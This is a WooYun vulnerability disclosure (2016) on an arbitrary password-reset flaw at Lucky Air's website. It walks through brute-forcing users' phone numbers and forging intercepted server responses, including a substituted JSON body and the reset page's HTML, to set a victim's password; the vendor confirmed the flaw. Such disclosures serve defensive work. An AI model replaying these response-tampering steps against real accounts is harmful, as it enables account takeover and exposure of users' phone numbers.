当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0188000

漏洞标题:祥鹏航空某系统任意用户密码重置

相关厂商:祥鹏航空

漏洞作者: 黑骑士

提交时间:2016-03-23 09:57

修复时间:2016-05-08 10:12

公开时间:2016-05-08 10:12

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开

简要描述:

祥鹏航空某系统任意用户密码重置

详细说明:

http://www.luckyair.net/
祥鹏航空官方主站用户密码可以在忘记密码页面任意重置
绕过思路:
系统首先获取绑定手机的验证码,进行验证,正确即返回输入新密码页面,错误即返回报错页面,同时将账号信息记入cookie。输入新密码后直接把新密码和cookie返回系统,不再做验证。因此只需先记录正确跳转至新密码页面的返回包,在输入验证码后用其替代报错页面返回包即可绕过验证。
另外通过发送手机验证码的位置可以轻易爆破出用户手机号,用户账号安全面临严重威胁

漏洞证明:

http://www.luckyair.net/
祥鹏航空主页点击用户登录

祥鹏航空0.png


点击忘记密码

祥鹏航空1.png


这里可以爆破一下用户手机号,点击发送口令抓返回包即可。航空公司的用户量非常大,跑了一小会就出来一堆用户手机号

祥鹏航空.png


选个测试账号13802035266,点获取口令。随便填入全零。

祥鹏航空2.png


点击下一步抓返回包,看到报错信息

祥鹏航空3.png


将包中内容替换为

{"email":null,"errorMessage":"OK","j_captcha_response":"9F5E","mobileNo":"13802404669"}


祥鹏航空4.png


后面还有一个数据包

祥鹏航空5.png


提交后抓返回包,看到是报错页面

祥鹏航空6.png


将报错页面替换成之前记录的输入新密码页面提交(代码太长,放在最后)

祥鹏航空7.png


成功跳转至输入新密码页面

祥鹏航空8.png


输入新密码TEST000000,提交成功

祥鹏航空9.png


登陆看看

祥鹏航空10.png


祥鹏航空12.png


输入密码页面的数据包

HTTP/1.1 200 OK
Server: nginx/1.7.11
Date: Wed, 23 Mar 2016 00:53:42 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Content-Length: 20714
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head id="">
<meta http-equiv="X-UA-Compatible" content="IE=8"/>
<meta name="keywords" content="祥鹏航空[官方网站] 机票秒杀|航班查询|办理乘机|酒店预订|商城..." />
<meta name="description" content="云南祥鹏航空有限责任公司(简称:祥鹏航空)是中国第四大航空集团——海航集团的航空成员企业。在'2010中国企业500强'中,海航集团排名第179位。海航集团旗下机队总规模290架,其在云南的运力份额列居云南市场第二。" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="keywords" content="祥鹏 祥鹏航空 云南航空 简单生活 快乐飞行 云南祥鹏航空有限责任公司 航空旅游 海航云南" />
<title>祥鹏航空[官方网站] 航班查询|机票秒杀|酒店预订|租车|商城...</title>
<link href="http://www.luckyair.net/favicon.ico" rel="shortcut icon" />
<script src="/themes/luckyair2016/js/jquery-1.7.2.min.js"></script>
<!-- 为了给一些页面只嵌套头尾 需要引入就得css文件和js文件-->
<link rel="stylesheet" href="/themes/luckyair2014/css/basic.css" />
<link rel="stylesheet" href="/themes/luckyair2014/css/index.css" />
<link href="/themes/luckyair2016/css/basic.css" rel="stylesheet" type="text/css" />
<link href="/themes/luckyair2016/css/index.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" >
function getpath(){
//根目录
var path = "";
return path;
}
</script>
<!-- 日期控件 -->
<script src="/js2014/jquery.json-2.3.min.js" type="text/javascript"></script>
<script src="/themes/luckyair2014/js/ui.js" type="text/javascript"></script>

<!-- 日期控件 -->
<script src="/js2014/jqueryui/i18n/jquery.ui.datepicker-zh-CN.js" type="text/javascript"></script>
<script src="/js2014/jqueryui/ui/jquery.ui.core.js" type="text/javascript"></script>
<script src="/js2014/jqueryui/ui/jquery.ui.widget.js" type="text/javascript"></script>
<script src="/js2014/jqueryui/ui/jquery.ui.datepicker.js" type="text/javascript"></script>
<!-- 城市三字码 -->
<script type="text/javascript" src="/js2014/jqueryui/ui/jquery.ui.position.js" ></script>
<script type="text/javascript" src="/js2014/jqueryui/ui/jquery.ui.menu.js" ></script>
<script type="text/javascript" src="/js2014/jqueryui/mfui/jquery.ui.cityautocomplete.js" ></script>
<script src="/js2014/aircity/airport_8L.js" type="text/javascript"></script>
<link rel="stylesheet" href="/js2014/jqueryui/themes/base/jquery.ui.all.css"></link>
<link rel="stylesheet" href="/js2014/jqueryui/themes/smoothness/jquery-ui-1.9.2.custom.css"></link>

<!-- 弹框 -->
<script src="/themes/luckyair2016/js/alert-dialog/dialog-min.js" type="text/javascript"></script>
<script src="/themes/luckyair2016/js/alert-dialog/menu.js" type="text/javascript"></script>
<link href="/themes/luckyair2016/css/alert-dialog/ui-dialog.css" rel="stylesheet"></link>
<!-- 登录 -->
<script src="/themes/luckyair2016/js/textUtils.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style type="text/css">
.errorMsg{
color: red;
font-size: 12px;
}
.gray{color: #999;font-size: 12px;}
</style>
</head>
<body>
<!-- 该页面是给只嵌套头尾的页面有的 -->
<div class="">

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- 登录页 -->
<input type="hidden" id="loginUser" value="null"/>
<script src="/themes/luckyair2016/js/login.js"></script>
<!-- 遮罩层 -->
<div class="alert_c" style="display:none;" id="alert_div"></div>
<!-- end 遮罩层 -->
<!-- 弹出层 -->
<div class="popLogin hide" id="alert_login" style=";">
<div class="pop_hd cf">
<ul class="popTab" id="loginTab">
<li><a class="hover" href="javascript:void(0)">会员登录</a></li>
<li><a href="javascript:void(0)">免注册登录</a></li>
<li style="width:132px;margin-right:0px;"><a href="javascript:void(0)">大客户登录</a></li>
</ul>
</div>
<div class="pop_bg">
<!-- 普通会员登录start -->
<form action="/Login.action" method="post" id="commonLogin">
<table width="100%" class="tb_style03" >
<tr>
<th style="width:60px;">用户名</th>
<td><input style="width:240px;" class="input_gray_peo" type="text" name="userName" id="userName" placeholder="邮箱/手机号/用户名"><i class="ico" id="userNameImg"></i></td>
</tr>
<tr>
<th>密 码</th>
<td><input style="width:240px; margin-right:8px;" class="input_gray_pass02" type="password" name="password" id="password" placeholder="密码" id="pwdImg"><i class="ico"></i></td>
</tr>
<tr>
<th>验证码</th>
<td><input style="width:150px; margin-right:8px;" class="input_gray_pic" type="text" name="j_captcha_response" id="j_captcha_response" placeholder="验证码"><img src="/jcaptcha?.tmp=0.06781555591097987" title="点击更换验证码" name="capthcaChange" id="capthcaChange1" style="cursor: pointer;"/><i class="ico"></i></td>
</tr>
<tr>
<td colspan="2" align="center"><span class="c_red f_12" id="errmsg01">&nbsp;</span></td>
</tr>
</table>
</form>
<!-- 免注册用户 -->
<form action="/nonRegLogin1Ajax.action" method="post" id="phoneLogin">
<table width="100%" class="tb_style03 hide" >
<tr>
<th style="width:60px;">手机号</th>
<td>
<input style="width:240px;" class="input_gray_peo" type="text" name="mobile1" id="mobile1" placeholder="购票时输入的手机号">
<input type="hidden" name="mobile" value="" id="mobile">
<i class="ico"></i>
</td>
</tr>
<tr>
<th>验证码</th>
<td><input style="width:128px; margin-right:8px;" class="input_gray_pic" type="text" name="jCaptchaResponseNoreg" id="jCaptchaResponseNoreg" placeholder="验证码"><img src="/jcaptcha?.tmp=0.06781555591097987" name="capthcaChange" id="capthcaChange2" title="点击更换验证码" style="cursor: pointer;"/><i class="ico"></i></td>
</tr>
<tr>
<th>口令</th>
<td><input style="width:128px; margin-right:8px;" class="input_gray_pass02" type="text" name="pass" id="pass" placeholder="手机口令"><a title="点击发送口令" href="javascript:void(0);" id="sendSms" style="color: red;text-decoration: none;">发送口令</a><i class="ico"></i></td>
</tr>
<tr>
<td colspan="2" align="center"><span class="c_red f_12" id="errmsg02">&nbsp;</span></td>
</tr>
</table>
</form>
<!-- 免注册用户 end -->
<!-- 大客户 -->
<form action="/kcLoginAjax.action" method="post" id="kcLogin">
<table width="100%" class="tb_style03 hide">
<tr>
<th style="width:60px;">用户名</th>
<td><input style="width:240px;" class="input_gray_peo" type="text" name="kcUserName" id="kcUserName" placeholder="大客户用户名"><i class="ico"></i></td>
</tr>
<tr>
<th>密码</th>
<td><input style="width:240px; margin-right:8px;" class="input_gray_pass02" type="password" name="kcPassword" id="kcPassword" placeholder="密码"><i class="ico"></i></td>
</tr>
<tr>
<th>验证码</th>
<td><input style="width:150px; margin-right:8px;" class="input_gray_pic" type="text" name="kc_j_captcha_response" id="kc_j_captcha_response" placeholder="验证码"><img src="/jcaptcha?.tmp=0.06781555591097987" title="点击更换验证码" name="capthcaChange" id="capthcaChange3" style="cursor: pointer;"/><i class="ico"></i></td>
</tr>
<tr>
<th></th>
<td><span style="font-family: Microsoft YaHei"><a style="text-decoration: underline;cursor: pointer;width:80px;margin-left: 157px;color: blue;background-color: white;border: 0px;display: inline-block;line-height: 30px;height: 30px;padding-left: 10px;" onclick="window.open('https://luckyair.easyebank.com/comm_gateway/xp_gkcz.htm?clientType=xphk&serverType=2')" >祥云卡购卡</a></span></td>
</tr>
<tr>
<td colspan="2" align="center"><span class="c_red f_12" id="errmsg03">&nbsp;</span></td>
</tr>
</table>
</form>
<!-- 大客户 end -->
<div class="m_t_20 m_b_10 tc">
<p class="m_b_10">
<span style="width:125px;padding: 5px 28px 5px 28px;" class="btn_red04" id="loginsubmit" data-value="commenUser">登录&nbsp;<i id="loading"></i></span>
<span style="width: 10px;">&nbsp;&nbsp;</span>
<span style="width:125px;padding: 5px 28px 5px 28px;" class="btn_red04" id="closeLogin" >关闭</span>
</p>
<p><a href="/frontend2014/users/modifyinfo/resetPassword.jsp" style="color: blue;"><u>忘记密码</u></a> | <a href="/frontend/users/register/userReg.action?flag=c" style="color: blue;"><u>快速注册</u></a></p>
</div>
<!-- -->
</div>
</div>

<div id="divifrom" style="display: none;">
<iframe id="iframemess" width="0px;" height="0px;" src="/frontend/users/register/regsentCodePage.action" ></iframe>
</div>
<!-- 标记(logo)区域 -->
<div class="branding">
<div class="head w_1000a">
<!-- 首页 -->
<div class="home fl">
<a href="/"><i></i>首页</a>
</div>
<!-- end 首页 -->
<!-- 登录 -->
<div class="loginaBar fr">
<div class="login">

<p><a href="javascript:void(0);" id="username" >会员登录</a></p>
<p><a href="/frontend/users/register/userReg.action?flag=c" >马上注册</a></p>

</div>
<div class="lang">
<p><a class="m_r_35" href="#">中文</a><a href="#">English</a></p>
<p>(+86) 95071950</p>
</div>
</div>
<!-- end 登录 -->
<!-- 主导航 -->
<div class="nav">
<ul class="nav_list">
<li><a href="#">预订服务<i></i></a>
<div class="navSub hide">
<ul class="navSub_list">
<li><a href="/frontend/order/SearchMyOrder.action">我的订单</a></li>
<li><a href="/extraProduct/frontend/buySeat/buySeatTemp.jsp">选择机上座位</a></li>
<li><a href="/extraProduct/frontend/meal/inputForMeal.jsp">预订机上餐食</a></li>
<li><a href="/extraProduct/frontend/luggage/inputForLuggage.jsp">购买逾重行李</a></li>
<li><a href="/extraProduct/frontend/vipHall/reserveVIPHall.action">预订贵宾厅</a></li>
</ul>
</div>
</li>
<li><a href="#">出行服务<i></i></a>
<div class="navSub hide">
<ul class="navSub_list">
<li><a href="/frontend2014/passengerService/flightD.jsp">航班动态</a></li>
</ul>
</div>
</li>
<li><a href="#">精彩活动<i></i></a>
<div class="navSub hide">
<ul class="navSub_list">
<li><a href="/frontend/miaosha/display.action">秒杀</a></li>
</ul>
</div>
</li>
<li><a href="#">在线服务<i></i></a>
<div class="navSub hide">
<ul class="navSub_list" style="color: #fff;">
<li style="text-indent: 7px;">热线电话:95071950</li>
</ul>
</div>
</li>
</ul>
</div>
<!-- end 主导航 -->
</div>
</div>
<!-- end 标记(logo)区域 -->
<script src="/themes/luckyair2016/js/cut.js"></script>
<script src="/themes/luckyair2016/js/frontend_title.js"></script>
<!-- end 标记(logo)区域 -->
<!-- logo -->
<div class="logo02"></div>
<!-- end logo -->
<!-- content start-->
<div class="news-content mb30" style="background: #fff" >

<!-- 功能页面 -->
<script type="text/javascript">
function checkPwd(){
var pwd1 = $("#newpwd").val();
var pwd2 = $("#pwd1").val();

if(pwd1==""){
$("#errorMessagePwd").removeClass().addClass("errorMsg");
document.getElementById("errorMessagePwd").innerHTML="请输入密码";
return false;
}else{
var tmp = pwd1.replace(/^(\s)*|(\s)*$/g,"");
var len = tmp.length;
if(len==0){
$("#errorMessagePwd").removeClass().addClass("errorMsg");
document.getElementById("errorMessagePwd").innerHTML="密码不能全部为空格。";
return false;
}else if(len>20||len<6){
$("#errorMessagePwd").removeClass().addClass("errorMsg");
document.getElementById("errorMessagePwd").innerHTML="密码长度必须为6~20个字符。";
return false;
}else if(isNumStr(pwd1)){
$("#errorMessagePwd").removeClass().addClass("errorMsg");
document.getElementById("errorMessagePwd").innerHTML="密码不能全部为数字。";
return false;
}
}
document.getElementById("errorMessagePwd").innerHTML="";
if(pwd2==""){
document.getElementById("errorMessagePwd1").innerHTML="请再次输入新密码";
return false;
}

if(pwd1!=pwd2){
document.getElementById("errorMessagePwd1").innerHTML="两次输入的密码不一致";
return false;
}
document.getElementById("errorMessagePwd1").innerHTML="";
resetPwd();
}
function resetPwd(){
var url = '/frontend2014/users/modifyinfo/GetUser!resetPwd.action?newPwd='+$("#newpwd").val();
$.ajax({
type: 'POST',
url: url,
success: processResetPwd
});
}
function processResetPwd(responseText, textStatus, XMLHttpRequest){
var msg= responseText.msg;
$("#resetPwd").hide();
$("#restPwdRes").show();
if(msg=='Yes'){
$("#msg").html("密码重置成功!");
}else{
$("#msg").html("密码修改失败,请联系管理员!");
}
}

//检查字符串是否全是数字
function isNumStr(val){
var pattern = /^[0-9]+$/;
if (pattern.test(val)){
return true;
}
return false;
}

</script>

<!-- content start-->
<div class="main_content_top clear js_main_content">
<div id="resetPwd">
<div class="password_box">
<ul class="order_flow_menu clear">
<li>
<i></i><span>填写手机号</span>
</li>
<li>
<i></i><span>收到验证码,并回答安全问题</span>
</li>
<li class="on">
<i></i><span>重置密码</span>
</li>
</ul>
</div>
<p class="password_til">第三步:重置密码</p>
<form id="regForm" method="post">
<div class="password_content" id="by_mobile">
<ul class="member_info_edit" style="padding-left:100px;">
<li></li>
<li>
<label>新密码:</label>
<input type="password" value="" name="newpwd" id="newpwd"/>
<span class="gray" id="errorMessagePwd">长度为6-20个字符</span>
</li>
<li></li><li></li>
<li>
<label>确认密码:</label>
<input type="password" name="pwd1" id="pwd1" value="" />
<span class="errorMsg" id="errorMessagePwd1"></span>
</li>
</ul>
</div>
</form>
<p class="member_info_save mt30">
<a class="icon filghts_btn_search" href="javascript:void(0);" onclick="return checkPwd()">确认</a>
</p>
</div>
<div id="restPwdRes" style="display: none;font-size: 14px;color: red;" >
<p align="center" style="margin-top: 20%"><span id="msg"></span></p>
</div>
</div>
<!-- content end-->
<script>(function(){$('.logo02').remove();})();</script>
<!-- 首页 -->
</div>
<!-- content end-->

<!-- 底部信息 -->
<div class="footBar m_t_10">
<div class="foot w_1000a cf p_t_10 p_b_10">
<div class="news fl">
<h3 class="tit m_b_15">最新消息</h3>
<ul class="newList" id="news">

</ul>
</div>
<!-- end top -->
<div class="footMenu cf fl">
<div class="fl" style="width:470px;">
<dl class="fm_list fl">
<dt>帮助中心</dt>
<dd><a href="/frontend2016/help/helpTips.jsp?index=1">旅客须知</a></dd>
<dd><a href="/frontend2016/help/helpTips.jsp?index=2">购票指南</a></dd>
<dd><a href="/frontend2016/help/helpTips.jsp?index=3">票务处理</a></dd>
<dd><a href="/frontend2016/help/helpTips.jsp?index=4">服务指南</a></dd>
<dd><a href="/frontend2016/help/helpTips.jsp?index=5">优惠券与积分</a></dd>
</dl>
<dl class="fm_list fl">
<dt>关于我们</dt>
<dd><a href="/frontend2016/help/aboutUs.jsp?index=1">公司简介</a></dd>
<dd><a href="/frontend2016/help/aboutUs.jsp?index=2">办公地址</a></dd>
<dd><a href="/frontend2016/help/aboutUs.jsp?index=3">航线网络</a></dd>
<dd><a href="/frontend2016/help/aboutUs.jsp?index=4">航班时刻</a></dd>
</dl>
<dl class="fm_list fl">
<dt>联系我们</dt>
<dd><a href="/frontend2016/help/contactUs.jsp?index=1">官方服务热线</a></dd>
<dd><a href="/frontend2016/help/contactUs.jsp?index=2">投诉建议</a></dd>
<dd><a href="/frontend2016/help/contactUs.jsp?index=3">媒体专线</a></dd>
<dd><a href="/frontend2016/help/contactUs.jsp?index=4">营业柜台</a></dd>
<dd><a href="/frontend2016/help/contactUs.jsp?index=5">BSP代理</a></dd>
<dd><a href="/frontend2016/help/contactUs.jsp?index=6">货运业务</a></dd>
</dl>
<dl class="fm_list fl">
<dt>友情链接</dt>
<dd><a href="http://www.hnair.com" target="_blank">海南航空</a></dd>
<dd><a href="http://www.westair.cn" target="_blank">西部航空</a></dd>
<dd><a href="http://www.tianjin-air.com" target="_blank">天津航空</a></dd>
<dd><a href="http://www.capitalairlines.com.cn" target="_blank">首都航空</a></dd>
<dd><a href="http://www.fuzhou-air.cn" target="_blank">福州航空</a></dd>
<dd><a href="http://gt.hnair.com/gt/" target="_blank">祥鹏团队网</a></dd>
<dd><a href="http://x.luckyair.net:88/cms/" target="_blank">祥鹏分销商园地</a></dd>
</dl>
</div>
<div class="fl" style="width:180px;">
<div style="margin-top: -17px;margin-left: 84px;">
<a class="btn_top" href="javascript:void(0)">返回顶部</a>
</div>
<div>
<div class="appBar fr m_t_45">
<div class="mob m_b_5">
<ul class="mob_list">
<li>
<a href="#">
<b><img src="/themes/luckyair2016/images/ico_weixin.png" /></b>
<p>官方微信</p>
</a>
</li>
<li>
<a href="#">
<b><img src="/themes/luckyair2016/images/ico_xina.png" /></b>
<p>官方微博</p>
</a>
</li>
<li>
<a href="#">
<b><img src="/themes/luckyair2016/images/ico_app.png" /></b>
<p>手机APP</p>
</a>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end 底部信息 -->
<!-- 站点信息 -->
<div class="site_info">
<div class="w_1000a">

<p><span class="ico m_t_5"><em>&copy;</em>2012-2016 luckyair.net 云南祥鹏航空有限责任公司 版权所有 技术支持:海南易建科技股份有限公司 滇ICP备11002836号</span> <span class="ico m_t_9 m_l_10">
<a href='https://ss.knet.cn/verifyseal.dll?sn=e14032853010047599h1h9000000&ct=df&a=1&pa=0.03910850009815292' target='_blank'>
<img src="/themes/luckyair2016/images/ico_kx.png" alt="可信网站"/></a></span>
<span class="ico m_t_9 m_l_10">
<a id='___szfw_logo___' href='https://credit.szfw.org/CX20160112013238590188.html' target='_blank'>
<img src="/themes/luckyair2016/images/footer-cnnic1.png" alt="诚信网站"/></a></span>
</p>
</div>
</div>
<!-- end 站点信息 -->
</div>
<!-- footer start -->
<script src="/themes/luckyair2016/js/frontend_footer.js"></script>
<script type='text/javascript'>
$(document).ready(function(){
var url = '/index/sitemsg!doAjaxQuery.action';
loadAnn(url);
//回到顶部缓动动画
$('.btn_top').on('click', function() {
$('html,body').animate({
scrollTop: 0
}, 300);
return false;
}).attr({
'href': 'javascript:void(0)'
});
});
</script>

</div>
<script src="/js/dcs_tag.js" type="text/javascript"></script>
</body>
</html>


修复方案:

版权声明:转载请注明来源 黑骑士@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2016-03-24 10:12

厂商回复:

谢谢,我们会立即安排整改。

最新状态:

暂无